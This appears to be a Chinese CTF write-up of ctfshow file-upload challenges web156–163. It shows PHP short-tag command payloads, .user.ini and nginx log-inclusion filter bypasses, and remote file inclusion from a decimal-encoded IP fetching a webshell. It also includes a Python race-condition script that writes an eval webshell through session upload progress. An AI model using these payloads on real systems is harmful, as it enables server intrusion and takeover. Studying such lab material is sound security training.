[ctfshow]web入门——文件上传(web156-web163)
本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ?ω? @)ノ!!
web156
上传.user.ini
上传口 试了试upload界面有一个默认文件,可以用上传.user.ini的方法 后台应该是屏蔽了很多字符串(php,eval,post 等等),甚至连正常图片都传不上去 试了一下php短标签<? ?> 还可以用 先找一下flag在哪 然后读flag的内容
<? exec("cat ../flag* > 2.txt");?>
访问/upload/,然后再访问/upload/2.txt,看到flag
web157
payload同上题,屏蔽了;
<? exec("cat ../flag* > 2.txt")?>
web158
payload同上题
<? exec("cat ../flag* > 2.txt")?>
web159
payload同上,括号被屏蔽,用反引号执行命令
<? `cat ../flag* > 2.txt` ?>
web160
上传.user.ini+日志包含
过滤了反引号和空格 ,没有办法上传危险的函数了 所以利用include文件包含传🐎 注意log被过滤
<?include"/var/l"."og/nginx/access.lo"."g"?>
web161
估计是检测文件头,加个GIF89a? 然后同上一题用日志包含
<?include"/var/l"."og/nginx/access.lo"."g"?>
web162
过滤了. ,所以不能利用日志包含了,先正常上传.user.ini
然后有两种方法
way1:远程文件包含
因为不能有.所以将IP转换为十进制,我的默认路由就是一句话木马
如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件 https://www.jianshu.com/p/be68cf9be911
<?=include"http://3024726958"?>
way2:session条件竞争包含
利用session.upload_progress 将木马写入session文件,然后包含这个session文件。 首先在.user.ini包含/tmp/sess_{sessid}
auto_append_file=/tmp/sess_xiao
import io
import sys
import requests
import threading
host = 'http://6038fed7-c4a1-4d83-98cc-45dba9f44a8d.challenge.ctf.show/'
sessid = 'xiaozS'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'{host}/upload/')
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
呜呜呜条件竞争了好久没成功,不知道为什么
web163
同上用远程文件包含
GIF89a?
auto_append_file=http://6024326456
本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主 看看ヾ(@ ?ω? @)ノ!!
|